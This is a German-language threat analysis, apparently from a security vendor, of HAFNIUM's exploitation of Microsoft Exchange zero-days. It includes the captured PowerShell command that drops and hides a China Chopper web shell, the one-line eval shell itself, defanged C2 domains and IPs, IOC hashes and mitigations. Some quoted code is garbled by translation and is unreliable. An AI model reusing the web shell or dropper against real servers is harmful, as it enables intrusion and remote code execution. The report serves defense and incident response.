Am 2. März gab Microsoft bekannt, dass die Bedrohungsgruppe HAFNIUM aktiv vier Zero-Day-Schwachstellen in ihren Exchange-Servern ausnutzt. Microsoft hat außerplanmäßige Sicherheitsupdates (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 und CVE-2021-27065) veröffentlicht, die es Angreifern ermöglichen, auf E-Mail-Konten zuzugreifen und Schadsoftware auf dem Server auszuführen, ohne über gültige Anmeldedaten zu verfügen.
Bedrohungsakteure nutzen eine Zero-Day Server-Side Request Forgery (SSRF)-Schwachstelle in Microsoft Exchange CVE-2021-26855 aus. Dadurch kann der Angreifer die Authentifizierung umgehen und Remotecodeausführung erreichen.
CVE-2021-27065 ist eine Sicherheitslücke, die das Schreiben beliebiger Dateien nach der Authentifizierung ermöglicht. Die Sicherheitslücke erstellt eine Datei mit der Endung .aspx und fügt Code ein. Angreifer nutzten diese Sicherheitslücke aus. Wir vermuten, dass Angreifer in den meisten Fällen die „China Chopper Web Shell“ auf die kompromittierten Server hochladen.

Angriffskette
Die Ausnutzung dieser Exchange-Server weist Hinweise auf die Kompromittierung von IOC-, Web-Shell- oder ASPX-Dateien auf. Sobald die Ausnutzung erfolgt ist, installieren Angreifer die Web-Shell auf dem Exchange-Server an einem bestimmten Speicherort „C:\inetpub\wwwroot\aspnet_client\discover.aspx“. Wir haben bei diesem Angriff mehrere ASPX-Dateien mit gemeinsamen Namen wie aspnet_client.aspx, load.aspx, discover.aspx, supp0rt.aspx, acceptable.aspx, error_page.aspx, shell.aspx, logaaa.aspx, dict.aspx usw. gesehen. Wir haben Web-Shells in Offline-Adressbuch-Dateien (OAB) gefunden.
Angreifer können Code in die ASPX-Seite des Exchange-Offline-Adressbuchs einschleusen; diese Seiten werden für weitere Angriffe missbraucht. Wir haben unten PowerShell- Code mit verdächtigen Parametern auf dem kompromittierten Exchange-Server gefunden. Dieser PowerShell-Code zeigt, dass durch Ausnutzung der Sicherheitslücke Dateien geschrieben bzw. verändert werden.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -W hidden -ep bypass -enc try {$p=”C:\\inetpub\\wwwroot\\aspnet_client\\error.aspx”;
$FileStream=New-ObjectIO.FileStream@($p,[IO.FileMode]::Erstellen); $FileStream.Write([Text.Encoding]::UTF8.GetBytes('ExternalUrl:https://f/
„Server“>FunktionSeite_Laden(){/*ExchangeService*/eval(Anfrage[„unsicher“],“unsicher“);} '),0,147);if($FileStream){$FileStream.Flush();$FileStream.Dispose();$f=(ls$p);$t=”2015-09-13″;$f.CreationTime=$t;$f.LastAccessTime=$t;$f.LastWriteTime=$t;$f.Attributes=”Schreibgeschützt”,
„System“, „versteckt“, „nicht indiziert“, „Archiv“}}catch{}.
Web-Shell-Analyse
Die chinesische Chopper-Web-Shell ist ein kleines, einzeiliges Skript, das bei diesen Angriffen beobachtet wurde. Der Inhalt dieser Dateien ist etwas seltsam und unvollständig. Ihre Struktur enthält eine Art HTTP-GET-Parameterargument, das eval oder Wörter wie „unsafe“ aufruft, was eine Vielzahl von Kompromittierungen zur Folge hat.
Beispiel-
„https://f/ function Page_Load(){eval(Request [“XOrSeMr3kgWUdFf6″],”unsafe”);} „
Die Syntax des Felds „ExternalUrl“ in der OAB-Datei entspricht der Übernahme einer Variable aus der HTTP-Anfrage und deren Ausführung über den Server. „https://f/“ ist keine korrekte Syntax, und es werden einige zufällige Zeichenparameter angezeigt. Dies ist der Schlüssel, der zur Authentifizierung vor der Ausführung von Codes verwendet wird. Im obigen Fall ist „XOrSeMr3kgWUdFf6“ entscheidend. In der OAB-Datei sehen wir das Änderungsdatum der Datei im Feld „WhenChanged“.
Screenshot für ASPX-Datei-

Abb. 1. ASPX-Datei
Variationen im Skript, die wir in der Web-Shell-Datei gesehen haben, einige der statischen Elemente wie Orange und Ananas sowie einige der in der Datei verwendeten Kodierungen aus Base64-Strings. Um die Erkennung zu vermeiden, werden die Strings durch einige Komplikationen aufgeteilt und mit Base64-Strings kodiert.

Abb. 2. Liste der externen URLs

Abb. 3. Liste der Pfade
Post-Exploitation-Aktivität
Im Zuge der Ausnutzung haben wir mehrere Angriffsversuche beobachtet, die darauf abzielten, vollen Zugriff auf den Server zu erhalten. Dabei nutzen verschiedene Betreiber Open-Source-Tools und -Methoden, um Hintertüren oder zahlreiche Schadsoftware einzuschleusen.
Variant 1:
Wir haben mehrere PowerShell-Downloads auf Servern festgestellt. Das erste PowerShell-Skript ist Base64-kodierter Code, der anschließend die nächste Stufe von http[:]//p.estonine[.]com/p?e herunterlädt. Beim Versuch, diese nächste Stufe herunterzuladen, stellten wir fest, dass das PowerShell-Skript ebenfalls heruntergeladen wurde.

Abb. 4. Erstes PowerShell-Skript
Das heruntergeladene PowerShell-Skript muss Ausdrücke mit Base64-Kodierung und Zlib-komprimiertem Code für eine starke Verschleierungstechnik aufrufen.

Abb. 5. Nächste Stufe PS
Nach dem Dekodieren und Dekomprimieren des unten stehenden Skripts führt der Code verschiedene Prüfungen durch und sammelt Informationen wie MAC-Adresse, AV, Betriebssystemversion, Domänenname und Benutzer. Anschließend erstellt der Skriptersteller den Mutex „Global\PSEXEC“ und prüft, ob Administratorrechte für die Ausführung des Prozesses vorhanden sind. Die Datei ccc.log dient der Verbindung zum CNC-Server.

Abb. 6. PowerShell-Code, Phase 2
Das Skript versucht, Kontakt mit „http[:]//CDN.chatcdn[.]net“ aufzunehmen. Diese Domain gilt seit langem als bösartig und wurde bei der vorherigen DLTMiner-Verbreitung in PowerShell-Skripten verwendet. Bei Ausführung mit Administratorrechten laden Sie „p?hig“ herunter, andernfalls „p?low“. Anschließend werden geplante Winnet-Task-Laufzeitintervalle erstellt. Erhält der Server keine Antwort, lädt er die Datei „update.png?“ von der IP-Adresse „188.166.162.201“ herunter.

Abb. 7. PowerShell-Code, Phase 2
Auch hier handelt es sich bei der heruntergeladenen Datei um ein PowerShell-Skript mit stark verschleierten Daten. Nach der Dekodierung des Codes erhält man eine etwa 2 MB große Datei mit Skript und umfangreichen Codezeilen. Im Code wurde die Verwendung von Open-Source-Code beobachtet, der zur Ausnutzung über SMB, SMB-Sitzungsaufbauanfragen, SMB-Sitzungsabmeldeanfragen, Invoke-SMBExec und einige Lateral-Movement-Techniken genutzt wurde.

Abb. 8. PowerShell-Phase 3
Nach der Dekodierung des Base64-Codes wurden bei weiteren Untersuchungen des Codes zwei ausführbare Dateien gefunden, die der Mimikatz-Nutzlast ähneln. Es handelt sich um ein Open-Source-Programm zum Abrufen von Anmeldeinformationen und Passwörtern. Die Anmeldeinformationen können dann für laterale Bewegungen und den Zugriff auf wichtige/eingeschränkte Informationen verwendet werden.
Variant 2:
Ein weiteres von uns beobachtetes PowerShell-Skript versucht, eine Datei von der GitHub-Seite herunterzuladen. Die Dateierweiterung lautet .png, es handelt sich jedoch um eine ausführbare PE-Datei.

Abb. 9. PowerShell-Skript Variante 2
Wir untersuchen derartige PowerShell-Skripte weiter und die Infektionskette wird einige spannende Dinge offenbaren, die die Schwachstellen des Microsoft Exchange-Servers ausgenutzt haben.
IOCs
| Webshell-Hashes | PE-Hashes |
| 0CD6F96A3460BE65C70C88A764F6EC56 | 3547D371C975779D6E0EDDF145936FB1 |
| 137E3A611C961EF33AAF49CCAA35E710 | 8AEA2AE91CC084731A08AA231E79A430 |
| 1A06924B507FA9A48E94D8AB819C7E42 | 9ff2613df0fc30afbc552f40360c37e7 |
| 1B18EC3D2B27CE39E83D602CB8BA84FE | cad2ee0a2e085a319505c4c4b68b3d2b |
| 1EAC1B6CE217C4BD31E93A3D913AF010 | E438712E336982548B884CBFBFEE6C9E |
| 217747243CB1FB9EAF6999284D7B9FCB | |
| 3068ECC45C32C24C8FD56FC0CB0A8829 | |
| 3446CEEE4BEA404ED72E14E154763428 | |
| 35B332744E614EF07A94FF4AC03B1F1A | |
| 35FCA708A86BEE43F068AD53C289963D | |
| 3CDBE5DF6383A6604737076F9E97E25A | |
| 49A62802887B6CA23FD067B942631698 | |
| 4D0C46CA88840A2649CD0C8596EA0AF9 | |
| 50499D3A3F4A072FD2FA3C5C5E651E25 | |
| 5970381424FB282AD7683431EB38C4B5 | |
| 5DD588C96A81586EE653BDB80D301A87 | |
| 65159FE1E1AE21F68CD235A8C045787A | |
| 6654AA50456B7D7C10061957DA128EF6 | |
| 6B2AEC787E30369911265CFA932192F4 | |
| 6D5F087C1D2E5A98E8EF00FE7883A531 | |
| 6F5909B3060D0F9AD4C4F4F6EFBAAC27 | |
| 87DCB5D6CCD2D614C34197915A9ADE15 | |
| 8B99A15118D4FB563CDEFA97BFEC6BFE | |
| 8CBF320BC0E0BE871E04152AFF775238 | |
| 8D5315AA11C3DBCDDFBA1A8D8D695F6B | |
| 93448E9EC4EEDA337879B148475B0E77 | |
| 94881B3621AF9A4DC64678258364A82B | |
| B82E014EE386C569710A9B03A7294A4C | |
| B86798F8F643CA76F20916C9347AE1C8 | |
| BA7235A228BEB5B8D1C630DA46B17E5F | |
| BEE691F207A19D782CCFBE5887B91015 | |
| C11680638FFF66F5DD494151D4A77389 | |
| CB9BE56C0DA7D625277823C796A10B12 | |
| D02AD7D92D348E011F4C63CBA6BA639D | |
| D08194CBB0D72C2609719C8E87D9036D | |
| D2EE996FBFB6ACA47CFD4319543626A3 | |
| D70FBE37FA09856158361411624591E7 | |
| D8A14C2BC15DC04B0BAE8A992990D41F | |
| DEADBB5A1E9669E268D2C1CC5D9965B0 | |
| E6F23A3282C7F0A693433815B4CFFC8F | |
| EDB48532A2AA88558474FFEA64355129 | |
| EF374AAB0EFFF9914A83362E0896F651 | |
| EFD4DC84D422420E887E6400FECCDDAD | |
| F7D74667839288B659EC1D87217FC749 | |
| FBB4182C9A441688FD71996DE7445A6F |
Domänen/IP
- http[:]//p.estonine[.]com/p?e
- http[:]//cdn.chatcdn[.]net
- http[:]//40.115.162.72/89[.]png
- https[:]//raw.githubusercontent[.]com/eluken890enlk/exmails/main
-
188.166.162.201
-
178.21.164.68
Name der Quickheal-Erkennung
- HTTP/CVE-2021-26855.MES!PT
- HTTP/MSExchangeServer.SSRF!PT
- CVE-2021-26855.Webshell
Zusammenfassung
Die Bedrohungsakteure nutzen diese Zero-Day-Sicherheitslücken bei anfälligen Microsoft Exchange-Servern aus. Es gibt zahlreiche Post-Exploiting-Techniken, die von Bedrohungsakteuren verwendet werden, um Zugriff auf den Exchange-Server zu erhalten bzw. die Kontrolle darüber zu übernehmen. Daher ist es wichtig, die neuesten Sicherheitsupdates zu installieren.
Wir von Quick Heal haben die Erkennung dieser Sicherheitslücke in IPS und die dateibasierte Erkennung hinzugefügt, um bereits kompromittierte Server und das Vorhandensein anderer IOCs wie Webshells zu identifizieren.
Mitigation
- Wir empfehlen dringend, alle Microsoft Exchange-Server umgehend auf die neuesten verfügbaren Patch-Versionen von Microsoft zu aktualisieren.
- Zum Schutz vor solchen Angriffen/Exploits wird empfohlen, Sicherheitsprodukte in der Umgebung zu haben und diese rechtzeitig zu aktualisieren.
- Die Notwendigkeit, Sicherheitspatches der Anbieter rechtzeitig anzuwenden, trägt zum Schutz und zur Sicherheit der Systeme bei.
- Wenn der Server bereits kompromittiert ist, müssen wir ihn vor dem Patchen bereinigen.
- Die folgenden von Microsoft freigegebenen Tools zur Schadensbegrenzung können gegen die Sicherheitslücke eingesetzt werden:
- https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/
- https://github.com/microsoft/CSS-Exchange/tree/main/Security



